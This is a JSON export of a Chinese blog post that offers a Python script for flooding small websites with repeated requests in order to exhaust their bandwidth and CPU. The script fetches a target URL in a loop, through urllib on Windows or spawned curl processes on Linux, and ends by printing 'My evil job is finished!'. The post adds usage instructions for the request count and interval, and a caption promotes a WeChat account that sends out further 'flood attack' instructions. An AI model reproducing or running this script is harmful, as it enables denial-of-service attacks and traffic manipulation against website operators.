﻿{"id":1099,"date":"2021-11-30T06:31:24","date_gmt":"2021-11-29T22:31:24","guid":{"rendered":"https:\/\/byy3.com\/?p=1099"},"modified":"2021-11-30T06:31:24","modified_gmt":"2021-11-29T22:31:24","slug":"python%e5%ae%9e%e7%8e%b0%e7%ae%80%e5%8d%95%e7%9a%84%e6%94%bb%e5%87%bb%e4%ba%89%e5%af%b9%e5%b0%8f%e5%9e%8b%e7%bd%91%e7%ab%99-%e8%bf%90%e8%a1%8c%e5%a0%b5%e5%a1%9e%e5%92%8ccpu%e4%bd%bf%e7%94%a8%e7%8e%87","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1099","title":{"rendered":"python\u5b9e\u73b0\u7b80\u5355\u7684\u653b\u51fb\u4e89\u5bf9\u5c0f\u578b\u7f51\u7ad9 \u8fd0\u884c\u5835\u585e\u548ccpu\u4f7f\u7528\u7387"},"content":{"rendered":"<div id=\"content\">\n<p>import os<br \/>\nimport time<br \/>\nimport argparse<br \/>\nimport platform<\/p>\n<p>def visit_win(url, times, duration):<br \/>\nimport urllib.request, urllib.error, urllib.parse<br \/>\ndef _visit_win():<br \/>\ntry:<br \/>\ns = urllib.request.urlopen(url).read()<br \/>\nexcept urllib.error.HTTPError as e:<br \/>\nprint((e.code))<br \/>\nfor i in range(times):<br \/>\n_visit_win()<br \/>\nprint((\"{} Done!\".format(i+1)))<br \/>\n#do not use duration in win<\/p>\n<p>def visit_linux(url, times, duration):<br \/>\nimport subprocess<br \/>\ncmd = \"curl {}\".format(url)<br \/>\nfor i in range(times):<br \/>\nsubprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True)<br \/>\nprint((\"{} Done!\".format(i+1)))<br \/>\ntime.sleep(duration)<\/p>\n<p>def parse_input():<br \/>\ninput_parser = argparse.ArgumentParser()<br \/>\ninput_parser.add_argument(\"--url\",'-u', help=\"the url your need to visit\")<br \/>\ninput_parser.add_argument(\"--times\",'-t', type=int, default=15, help=\"how many times you need to visit\")<br \/>\ninput_parser.add_argument(\"--duration\",'-d', default=2.5, type=float, help=\"the duration between two visits\")<br \/>\ninput_args = input_parser.parse_args()<br \/>\nurl = input_args.url<br \/>\ntimes = input_args.times<br \/>\nduration = input_args.duration<br \/>\nreturn url, times, duration<\/p>\n<p>def main():<br \/>\nurl, times, duration = parse_input()<br \/>\nif platform.system().lower() == 'linux':<br \/>\nvisit_linux(url, times, duration)<br \/>\nelse:<br \/>\nvisit_win(url, times, duration)<br \/>\nprint(\"My evil job is finished!\")<\/p>\n<p>if __name__ == '__main__':<br \/>\nmain()<\/p>\n<\/div>\n<p>\u8fd0\u884c\u7684\u8bddpython3 click.py -u https:\/\/xxx.com -t10 -d10<\/p>\n<p>\u8bf4\u660e-t\u4ee3\u8868\u5237\u70b9\u51fb\u7684\u6b21\u6570\u00a0 \u00a0-d\u4ee3\u8868\u6bcf\u6b21\u65f6\u95f4\u95f4\u9694<\/p>\n<p>\u4f7f\u7528\u65b9\u6cd5\u6dfb\u52a0\u6cd3\u6e90\u89c6\u91ce\u7f51\u7edc\u5b89\u5168<\/p>\n<div id=\"attachment_907\" style=\"width: 268px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-907\" class=\"size-full wp-image-907\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2021\/02\/2021020418394688.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"258\" height=\"258\" title=\"python\u5b9e\u73b0\u7b80\u5355\u7684\u653b\u51fb\u4e89\u5bf9\u5c0f\u578b\u7f51\u7ad9 \u8fd0\u884c\u5835\u585e\u548ccpu\u4f7f\u7528\u7387\u63d2\u56fe\" alt=\"python\u5b9e\u73b0\u7b80\u5355\u7684\u653b\u51fb\u4e89\u5bf9\u5c0f\u578b\u7f51\u7ad9 \u8fd0\u884c\u5835\u585e\u548ccpu\u4f7f\u7528\u7387\u63d2\u56fe\" \/><p id=\"caption-attachment-907\" class=\"wp-caption-text\">\u6cd3\u6e90\u89c6\u91ce\u7f51\u7edc\u5b89\u5168,\u5fae\u4fe1\u516c\u4f17\u53f7\u00a0 \u00a0\u53d1\u9001python\u7b80\u5355\u7684\u6d2a\u6c34\u653b\u51fb \u5c06\u56de\u590d\u4f7f\u7528\u65b9\u6cd5\uff01<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"<p>import os import time import argparse import platform d [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,1],"tags":[696,697,699,698],"class_list":["post-1099","post","type-post","status-publish","format-standard","hentry","category-python","category-net-security","tag-python-ddos","tag-python"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1099","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1099"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1099\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1099"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1099"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1099"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}